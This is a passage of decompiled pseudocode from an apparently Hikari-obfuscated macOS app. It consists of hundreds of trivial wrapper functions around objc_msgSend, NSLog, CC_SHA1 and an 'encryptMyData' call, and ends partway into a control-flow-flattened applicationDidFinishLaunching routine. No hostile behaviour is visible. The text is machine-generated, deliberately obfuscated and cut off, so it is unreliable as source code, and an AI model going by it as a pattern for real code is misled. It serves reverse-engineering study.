return HikariFunctionWrapper_1519(a1, a2, a3, a4);
}
//----- (00000001000B6530) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1521(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B6540) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1522(void *a1, const char *a2)
{
return HikariFunctionWrapper_1521(a1, a2);
}
//----- (00000001000B6550) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1523(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B6560) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1524(void *a1, const char *a2)
{
return HikariFunctionWrapper_1523(a1, a2);
}
//----- (00000001000B6570) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1525(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B6580) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1526(void *a1, const char *a2)
{
return HikariFunctionWrapper_1525(a1, a2);
}
//----- (00000001000B6590) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1527(void *a1, const void *a2, int a3)
{
_Block_object_assign(a1, a2, a3);
}
//----- (00000001000B65A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1528(void *a1, const void *a2, int a3)
{
HikariFunctionWrapper_1527(a1, a2, a3);
}
//----- (00000001000B65B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1529(void *a1, const void *a2, int a3)
{
_Block_object_assign(a1, a2, a3);
}
//----- (00000001000B65C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1530(void *a1, const void *a2, int a3)
{
HikariFunctionWrapper_1529(a1, a2, a3);
}
//----- (00000001000B65D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1531(void *a1, const void *a2, int a3)
{
_Block_object_assign(a1, a2, a3);
}
//----- (00000001000B65E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1532(void *a1, const void *a2, int a3)
{
HikariFunctionWrapper_1531(a1, a2, a3);
}
//----- (00000001000B65F0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1533(const void *a1, int a2)
{
_Block_object_dispose(a1, a2);
}
//----- (00000001000B6600) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1534(const void *a1, int a2)
{
HikariFunctionWrapper_1533(a1, a2);
}
//----- (00000001000B6610) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1535(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B6620) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1536(void *a1, const char *a2)
{
return HikariFunctionWrapper_1535(a1, a2);
}
//----- (00000001000B6630) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1537(NSString *a1)
{
NSLog(a1);
}
//----- (00000001000B6640) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1538(NSString *a1)
{
HikariFunctionWrapper_1537(a1);
}
//----- (00000001000B6650) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1539(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B6660) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1540(void *a1, const char *a2)
{
return HikariFunctionWrapper_1539(a1, a2);
}
//----- (00000001000B6670) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1541(objc_class *a1)
{
return objc_alloc(a1);
}
//----- (00000001000B6680) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1542(objc_class *a1)
{
return HikariFunctionWrapper_1541(a1);
}
//----- (00000001000B6690) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1543(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B66A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1544(void *a1, const char *a2)
{
return HikariFunctionWrapper_1543(a1, a2);
}
//----- (00000001000B66B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1545(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B66C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1546(void *a1, const char *a2)
{
return HikariFunctionWrapper_1545(a1, a2);
}
//----- (00000001000B66D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1547(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B66E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1548(void *a1, const char *a2)
{
return HikariFunctionWrapper_1547(a1, a2);
}
//----- (00000001000B66F0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1549(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001000B6700) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1550(void *a1, const char *a2)
{
HikariFunctionWrapper_1549(a1, a2);
}
//----- (00000001000B6710) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1551(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001000B6720) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1552(void *a1, const char *a2)
{
HikariFunctionWrapper_1551(a1, a2);
}
//----- (00000001000B6730) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1553(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001000B6740) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1554(void *a1, const char *a2)
{
HikariFunctionWrapper_1553(a1, a2);
}
//----- (00000001000B6750) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1555(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B6760) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1556(void *a1, const char *a2)
{
return HikariFunctionWrapper_1555(a1, a2);
}
//----- (00000001000B6770) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1557(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001000B6780) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1558(void *a1, const char *a2)
{
HikariFunctionWrapper_1557(a1, a2);
}
//----- (00000001000B6790) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1559(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B67A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1560(void *a1, const char *a2)
{
return HikariFunctionWrapper_1559(a1, a2);
}
//----- (00000001000B67B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1561(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001000B67C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1562(void *a1, const char *a2)
{
HikariFunctionWrapper_1561(a1, a2);
}
//----- (00000001000B67D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1563(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001000B67E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1564(void *a1, const char *a2)
{
HikariFunctionWrapper_1563(a1, a2);
}
//----- (00000001000B67F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1565(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B6800) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1566(void *a1, const char *a2)
{
return HikariFunctionWrapper_1565(a1, a2);
}
//----- (00000001000B6810) ----------------------------------------------------
intptr_t __fastcall HikariFunctionWrapper_1567(dispatch_semaphore_s *a1, dispatch_time_t a2)
{
return dispatch_semaphore_wait(a1, a2);
}
//----- (00000001000B6820) ----------------------------------------------------
intptr_t __fastcall HikariFunctionWrapper_1568(dispatch_semaphore_s *a1, dispatch_time_t a2)
{
return HikariFunctionWrapper_1567(a1, a2);
}
//----- (00000001000B6830) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1569(NSString *a1)
{
NSLog(a1);
}
//----- (00000001000B6840) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1570(NSString *a1)
{
HikariFunctionWrapper_1569(a1);
}
//----- (00000001000B6850) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1571(NSString *a1)
{
NSLog(a1);
}
//----- (00000001000B6860) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1572(NSString *a1)
{
HikariFunctionWrapper_1571(a1);
}
//----- (00000001000B6870) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1573(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B6880) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1574(void *a1, const char *a2)
{
return HikariFunctionWrapper_1573(a1, a2);
}
//----- (00000001000B6890) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1575(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B68A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1576(void *a1, const char *a2)
{
return HikariFunctionWrapper_1575(a1, a2);
}
//----- (00000001000B68B0) ----------------------------------------------------
unsigned __int8 *__fastcall HikariFunctionWrapper_1577(const void *a1, CC_LONG a2, unsigned __int8 *a3)
{
return CC_SHA1(a1, a2, a3);
}
//----- (00000001000B68C0) ----------------------------------------------------
unsigned __int8 *__fastcall HikariFunctionWrapper_1578(const void *a1, CC_LONG a2, unsigned __int8 *a3)
{
return HikariFunctionWrapper_1577(a1, a2, a3);
}
//----- (00000001000B68D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1579(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B68E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1580(void *a1, const char *a2)
{
return HikariFunctionWrapper_1579(a1, a2);
}
//----- (00000001000B68F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1581(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B6900) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1582(void *a1, const char *a2)
{
return HikariFunctionWrapper_1581(a1, a2);
}
//----- (00000001000B6910) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1583(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B6920) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1584(void *a1, const char *a2)
{
return HikariFunctionWrapper_1583(a1, a2);
}
//----- (00000001000B6930) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1585(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001000B6940) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1586(void *a1, const char *a2)
{
HikariFunctionWrapper_1585(a1, a2);
}
//----- (00000001000B6950) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1587(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001000B6960) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1588(void *a1, const char *a2)
{
HikariFunctionWrapper_1587(a1, a2);
}
//----- (00000001000B6970) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1589(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001000B6980) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1590(void *a1, const char *a2)
{
HikariFunctionWrapper_1589(a1, a2);
}
//----- (00000001000B6990) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1591(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001000B69A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1592(void *a1, const char *a2)
{
HikariFunctionWrapper_1591(a1, a2);
}
//----- (00000001000B69B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1593(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001000B69C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1594(void *a1, const char *a2)
{
HikariFunctionWrapper_1593(a1, a2);
}
//----- (00000001000B69D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1595(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B69E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1596(void *a1, const char *a2)
{
return HikariFunctionWrapper_1595(a1, a2);
}
//----- (00000001000B69F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1597(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B6A00) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1598(void *a1, const char *a2)
{
return HikariFunctionWrapper_1597(a1, a2);
}
//----- (00000001000B6A10) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1599(void *a1)
{
return encryptMyData(a1);
}
//----- (00000001000B6A20) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1600(void *a1)
{
return HikariFunctionWrapper_1599(a1);
}
//----- (00000001000B6A30) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1601(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B6A40) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1602(void *a1, const char *a2)
{
return HikariFunctionWrapper_1601(a1, a2);
}
//----- (00000001000B6A50) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1603(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001000B6A60) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1604(void *a1, const char *a2)
{
HikariFunctionWrapper_1603(a1, a2);
}
//----- (00000001000B6A70) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1605(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B6A80) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1606(void *a1, const char *a2)
{
return HikariFunctionWrapper_1605(a1, a2);
}
//----- (00000001000B6A90) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1607(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B6AA0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1608(void *a1, const char *a2)
{
return HikariFunctionWrapper_1607(a1, a2);
}
//----- (00000001000B6AB0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1609(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001000B6AC0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1610(void *a1, const char *a2)
{
HikariFunctionWrapper_1609(a1, a2);
}
//----- (00000001000B6AD0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1611(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001000B6AE0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1612(void *a1, const char *a2)
{
HikariFunctionWrapper_1611(a1, a2);
}
//----- (00000001000B6AF0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1613(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001000B6B00) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1614(void *a1, const char *a2)
{
HikariFunctionWrapper_1613(a1, a2);
}
//----- (00000001000B6B10) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1615(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B6B20) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1616(void *a1, const char *a2)
{
return HikariFunctionWrapper_1615(a1, a2);
}
//----- (00000001000B6B30) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1617(const void *a1, int a2)
{
_Block_object_dispose(a1, a2);
}
//----- (00000001000B6B40) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1618(const void *a1, int a2)
{
HikariFunctionWrapper_1617(a1, a2);
}
//----- (00000001000B6B50) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1619(const void *a1, int a2)
{
_Block_object_dispose(a1, a2);
}
//----- (00000001000B6B60) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1620(const void *a1, int a2)
{
HikariFunctionWrapper_1619(a1, a2);
}
//----- (00000001000B6B70) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1621(const void *a1, int a2)
{
_Block_object_dispose(a1, a2);
}
//----- (00000001000B6B80) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1622(const void *a1, int a2)
{
HikariFunctionWrapper_1621(a1, a2);
}
//----- (00000001000B6B90) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1623(const void *a1, int a2)
{
_Block_object_dispose(a1, a2);
}
//----- (00000001000B6BA0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1624(const void *a1, int a2)
{
HikariFunctionWrapper_1623(a1, a2);
}
//----- (00000001000B6BB0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1625(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B6BC0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1626(void *a1, const char *a2)
{
return HikariFunctionWrapper_1625(a1, a2);
}
//----- (00000001000B6BD0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1627(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B6BE0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1628(void *a1, const char *a2)
{
return HikariFunctionWrapper_1627(a1, a2);
}
//----- (00000001000B6BF0) ----------------------------------------------------
intptr_t __fastcall HikariFunctionWrapper_1629(dispatch_semaphore_s *a1)
{
return dispatch_semaphore_signal(a1);
}
//----- (00000001000B6C00) ----------------------------------------------------
intptr_t __fastcall HikariFunctionWrapper_1630(dispatch_semaphore_s *a1)
{
return HikariFunctionWrapper_1629(a1);
}
//----- (00000001000B6C10) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1631(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B6C20) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1632(void *a1, const char *a2)
{
return HikariFunctionWrapper_1631(a1, a2);
}
//----- (00000001000B6C30) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1633(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001000B6C40) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1634(void *a1, const char *a2)
{
HikariFunctionWrapper_1633(a1, a2);
}
//----- (00000001000B6C50) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1635(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001000B6C60) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1636(void *a1, const char *a2)
{
HikariFunctionWrapper_1635(a1, a2);
}
//----- (00000001000B6C70) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1637(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B6C80) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1638(void *a1, const char *a2)
{
return HikariFunctionWrapper_1637(a1, a2);
}
//----- (00000001000B6C90) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1639(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B6CA0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1640(void *a1, const char *a2)
{
return HikariFunctionWrapper_1639(a1, a2);
}
//----- (00000001000B6CB0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1641(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B6CC0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1642(void *a1, const char *a2)
{
return HikariFunctionWrapper_1641(a1, a2);
}
//----- (00000001000B6CD0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1643(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B6CE0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1644(void *a1, const char *a2)
{
return HikariFunctionWrapper_1643(a1, a2);
}
//----- (00000001000B6CF0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1645(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001000B6D00) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1646(void *a1, const char *a2)
{
HikariFunctionWrapper_1645(a1, a2);
}
//----- (00000001000B6D10) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1647(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001000B6D20) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1648(void *a1, const char *a2)
{
HikariFunctionWrapper_1647(a1, a2);
}
//----- (00000001000B6D30) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1649(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001000B6D40) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_1650(void *a1, const char *a2)
{
HikariFunctionWrapper_1649(a1, a2);
}
//----- (00000001000B6D50) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1651(objc_class *a1)
{
return objc_alloc(a1);
}
//----- (00000001000B6D60) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1652(objc_class *a1)
{
return HikariFunctionWrapper_1651(a1);
}
//----- (00000001000B6D70) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1653(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000B6D80) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_1654(void *a1, const char *a2)
{
return HikariFunctionWrapper_1653(a1, a2);
}
//----- (00000001000B6D90) ----------------------------------------------------
void __cdecl -[AppDelegate applicationDidFinishLaunching:](AppDelegate *self, SEL a2, id a3)
{
__int64 v3; // r9
unsigned int v5; // edx
char v6; // cf
int v7; // eax
int v8; // ecx
id v9; // rax
id v10; // rax
id v11; // rax
__CFString *v12; // r14
__CFString *v13; // r15
id *v14; // r14
id v15; // rax
id v16; // r15
id v17; // rax
id v18; // r14
char v19; // cf
int v20; // ecx
id v21; // rax
id v22; // rdi
id v23; // rax
id v24; // r14
bool v25; // zf
int v26; // ecx
id v27; // rax
id v28; // rax
_OWORD *v29; // rax
dispatch_block_t v30; // r14
id *v31; // r15
id v32; // rax
id v33; // rax
id v34; // rdi
id v35; // rax
id v36; // r14
id *v37; // r14
id v38; // rax
id v39; // r15
id v40; // rax
id v41; // r14
NSDictionary *v42; // rax
id v43; // rax
id v44; // rax
id v45; // rax
id v46; // rax
id v47; // rax
_OWORD *v48; // rax
id v49; // rax
id v50; // rax
id v51; // rdi
id v52; // rdi
id v53; // rax
id v54; // r14
id v55; // rax
NSProgressIndicator *v56; // rax
NSProgressIndicator *v57; // r14
NSProgressIndicator *v58; // rax
NSProgressIndicator *v59; // r14
NSProgressIndicator *v60; // rax
NSProgressIndicator *v61; // rax
NSProgressIndicator *v62; // rax
NSProgressIndicator *v63; // r14
NSProgressIndicator *v64; // rax
NSProgressIndicator *v65; // r14
id v66; // rax
unsigned __int8 v67; // al
id v68; // rax
__CFString *v69; // r14
__CFString *v70; // rdi
dispatch_block_t v71; // r14
id *v72; // r15
__int128 v73; // [rsp+0h] [rbp-130h] BYREF
__int128 v74; // [rsp+10h] [rbp-120h] BYREF
id v75; // [rsp+20h] [rbp-110h] BYREF
id v76; // [rsp+28h] [rbp-108h]
void *v77; // [rsp+30h] [rbp-100h]
id v78; // [rsp+38h] [rbp-F8h]
const char *v79; // [rsp+40h] [rbp-F0h]
SEL v80; // [rsp+48h] [rbp-E8h]
id v81; // [rsp+50h] [rbp-E0h]
Class v82; // [rsp+58h] [rbp-D8h]
id v83; // [rsp+60h] [rbp-D0h]
const char *v84; // [rsp+68h] [rbp-C8h]
int v85; // [rsp+74h] [rbp-BCh]
int v86; // [rsp+78h] [rbp-B8h]
int v87; // [rsp+7Ch] [rbp-B4h] BYREF
id v88; // [rsp+80h] [rbp-B0h]
SEL v89; // [rsp+88h] [rbp-A8h]
id *v90; // [rsp+90h] [rbp-A0h]
__int128 *v91; // [rsp+98h] [rbp-98h]
id v92; // [rsp+A0h] [rbp-90h]
id *v93; // [rsp+A8h] [rbp-88h]
id v94; // [rsp+B0h] [rbp-80h]
SEL v95; // [rsp+B8h] [rbp-78h]
id v96; // [rsp+C0h] [rbp-70h]
id v97; // [rsp+C8h] [rbp-68h]
id v98; // [rsp+D0h] [rbp-60h]
dispatch_block_t block; // [rsp+D8h] [rbp-58h]
id v100; // [rsp+E0h] [rbp-50h]
bool v101; // [rsp+EEh] [rbp-42h]
bool v102; // [rsp+EFh] [rbp-41h]
bool v103; // [rsp+F0h] [rbp-40h]
bool v104; // [rsp+F1h] [rbp-3Fh]
bool v105; // [rsp+F2h] [rbp-3Eh]
unsigned __int8 v106; // [rsp+F3h] [rbp-3Dh]
bool v107; // [rsp+F4h] [rbp-3Ch]
bool v108; // [rsp+F5h] [rbp-3Bh]
bool v109; // [rsp+F6h] [rbp-3Ah]
char v110; // [rsp+F7h] [rbp-39h]
int *v111; // [rsp+F8h] [rbp-38h]
__int64 v112; // [rsp+100h] [rbp-30h]
v112 = -1;
v5 = 3180576;
v85 = 0;
v87 = -22121051;
v111 = &v87;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v87 <= 40959997 )
{
if ( v87 <= -713755384 )
{
if ( v87 <= -1436482240 )
{
if ( v87 <= -1666202334 )
{
if ( v87 <= -1925202368 )
{
if ( v87 > -2071691394 )
{
if ( v87 == -2071691393 )
{
a2 = (SEL)1583179318;
